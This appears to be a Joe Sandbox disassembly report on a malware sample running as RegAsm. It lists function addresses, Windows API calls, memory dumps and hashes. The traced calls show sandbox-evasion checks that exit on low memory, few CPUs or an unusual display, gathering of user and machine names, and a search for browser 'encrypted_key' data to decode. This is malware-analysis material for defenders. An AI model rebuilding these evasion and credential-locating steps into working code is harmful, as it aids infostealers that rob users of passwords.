Function 00416490 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,0140F410), ref: 004192B1
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,0140F530), ref: 004192CA
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,0140F248), ref: 004192E2
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,0140F290), ref: 004192FA
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,0140F2A8), ref: 00419313
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,01413180), ref: 0041932B
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,014140C0), ref: 00419343
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,01413FE0), ref: 0041935C
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,0140F458), ref: 00419374
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,0140F428), ref: 0041938C
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,0140F440), ref: 004193A5
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,0140F2C0), ref: 004193BD
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,01413EC0), ref: 004193D5
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,0140F560), ref: 004193EE

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 004011D0: CreateDCA.GDI32(0141AB20,00000000,00000000,00000000), ref: 004011E2
Part of subcall function 004011D0: GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
Part of subcall function 004011D0: ReleaseDC.USER32(00000000,?), ref: 00401200
Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416210: GetUserDefaultLangID.KERNEL32(?,?,004164C6,00420ADA), ref: 00416214

GetUserDefaultLangID.KERNEL32 ref: 004164C6

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,0141AB80,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,0141AB80,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseCreateDefaultEventHandleLangName__aulldiv$CapsComputerCurrentDeviceGlobalInfoMemoryNumaOpenReleaseSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 4014759737-0
Opcode ID: 1080716b928fd667bb929954f4c75fcb8ab473ed041492adf7da214918ab9902
Instruction ID: 0c3fac6cf7b50bea5c1f94bc3db5f65e3227356296d56eb517008ea5f4118e6e
Opcode Fuzzy Hash: 1080716b928fd667bb929954f4c75fcb8ab473ed041492adf7da214918ab9902
Instruction Fuzzy Hash: 03317130941108BACB14FBF2DC56BEE7739AF18318F50452EF513A6092DFBC6985C66A

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 0040483A
??_U@YAPAXI@Z.MSVCRT ref: 00404851
??2@YAPAXI@Z.MSVCRT ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ??2@CrackInternetlstrlen
String ID: <
API String ID: 184842949-4251816714
Opcode ID: 2f4ab3673443420506f52f30828b11760ea29e85b2ca068c11f228e25f55c4dd
Instruction ID: 93cf72731df314aae8b190796811ac6c8ed605cccc68025416595ba5c6ffb16c
Opcode Fuzzy Hash: 2f4ab3673443420506f52f30828b11760ea29e85b2ca068c11f228e25f55c4dd
Instruction Fuzzy Hash: 0A2129B1D00208ABDF14DFA5E849ADD7B75FF44364F108229F926A72D0DB706A05CF95

Function 00413070 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413098

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

strtok_s.MSVCRT ref: 004131E1

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,0141AB80,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 57923e09db2b1965b2e7f34808721c618ad5f50ea104b346db2e7d3af5ca8ace
Instruction ID: 79a306a9ddce9c6cdb539d8aaa48a82ffdeeeca754e5da37ea89086183b8fd1c
Opcode Fuzzy Hash: 57923e09db2b1965b2e7f34808721c618ad5f50ea104b346db2e7d3af5ca8ace
Instruction Fuzzy Hash: 87416371E01108ABCB04EFE5DC89AEEB774BF44314F00801EE51677251DB78AA95CF9A

Function 00409A10 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
LocalFree.KERNEL32(00410127), ref: 00409AE0
FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID:
API String ID: 1815715184-0
Opcode ID: 59f5148e752a95e5896d84c0f9ad23db6c307183919c12064814075ca15ef814
Instruction ID: 9a616c59c25f48dda5b41b64f2eda75996ce8e2783f016847e561ac14b63f668
Opcode Fuzzy Hash: 59f5148e752a95e5896d84c0f9ad23db6c307183919c12064814075ca15ef814
Instruction Fuzzy Hash: 5D310AB4A00209EFDB24CF95C895BAE7BB5BF48314F108169E911A73D0D778AD41CFA5

Function 00414260 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,01423EE8), ref: 004142BB

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004142E1
lstrcat.KERNEL32(?,?), ref: 00414300
lstrcat.KERNEL32(?,?), ref: 00414314
lstrcat.KERNEL32(?,01412D48), ref: 00414327
lstrcat.KERNEL32(?,?), ref: 0041433B
lstrcat.KERNEL32(?,01422E38), ref: 0041434F

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418830: GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Part of subcall function 00414050: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414060
Part of subcall function 00414050: HeapAlloc.KERNEL32(00000000), ref: 00414067
Part of subcall function 00414050: wsprintfA.USER32 ref: 00414086
Part of subcall function 00414050: FindFirstFileA.KERNEL32(?,?), ref: 0041409D

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: d8c1e20cca72af30b7890b1d5764c9598a573b686f6efaf05df2e989e4493db3
Instruction ID: 4fb66fc9f0e99d4a69d4435a00fe4e0f35192ff1271240cc59f29c1c24f4a50f
Opcode Fuzzy Hash: d8c1e20cca72af30b7890b1d5764c9598a573b686f6efaf05df2e989e4493db3
Instruction Fuzzy Hash: 663188B290021CA7CB24FBA0DC85EDD773DAB58708F40459EB60596091EE7897C9CFA8

Function 00417130 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
HeapAlloc.KERNEL32(00000000), ref: 0041714B
RegOpenKeyExA.KERNEL32(80000002,0141B388,00000000,00020119,00000000), ref: 0041717D
RegQueryValueExA.KERNEL32(00000000,014233C8,00000000,00000000,?,000000FF), ref: 0041719E

Strings

Windows 11, xrefs: 0041715D

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: Windows 11
API String ID: 3676486918-2517555085
Opcode ID: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction ID: 198b37f2a351322ee600fb862932720b373255b2f394089b4190a5419862cb8c
Opcode Fuzzy Hash: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction Fuzzy Hash: 4C018F74A40208BFEB10DFE4DD49FAE7779EB08710F104098FA0997290D6749A428B64

Function 004171C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004171D4
HeapAlloc.KERNEL32(00000000), ref: 004171DB
RegOpenKeyExA.KERNEL32(80000002,0141B388,00000000,00020119,00417159), ref: 004171FB
RegQueryValueExA.KERNEL32(00417159,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041721A

Strings

CurrentBuildNumber, xrefs: 00417211

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3676486918-1022791448
Opcode ID: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction ID: 00cad297c96af00baba5933f046dbcc6cd847f8af16dedc1aa1025fe7f1f3d79
Opcode Fuzzy Hash: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction Fuzzy Hash: EE014FB9A40708BFDB10DFE0DC4AFAEB779EB08704F104558FA05A7291D674AA418B55

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction ID: 3a295e2926d3a661784167dae5cc93d3585e5da9a2cb48fc087cd8b2851d2611
Opcode Fuzzy Hash: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction Fuzzy Hash: 8601FBB0D40308BAEB10EBE4DD49B9EBB78AB14705F20809EEA05B62D0D7785585875D

Function 00413BC0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413BE5
RegOpenKeyExA.KERNEL32(80000001,01422F58,00000000,00020119,?), ref: 00413C04
RegQueryValueExA.ADVAPI32(?,014240B0,00000000,00000000,00000000,000000FF), ref: 00413C28
lstrcat.KERNEL32(?,00000000), ref: 00413C57
lstrcat.KERNEL32(?,01424098), ref: 00413C6B

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$OpenQueryValuememset
String ID:
API String ID: 558315959-0
Opcode ID: 30dfcac0fb1a40bd2028b370c4714721bc5e06d00faef6feccfaadffd313ee7e
Instruction ID: 29de2a712fc1e2dfcbf32ad4341a25eb625067ccdef54b7492a2b75d077fe01c
Opcode Fuzzy Hash: 30dfcac0fb1a40bd2028b370c4714721bc5e06d00faef6feccfaadffd313ee7e
Instruction Fuzzy Hash: 1841B8B69001086BDB24EBA0DC46FEE733DAB88304F00895DB619561D1FEB957CC8BD5

Function 00409D30 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D89

Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
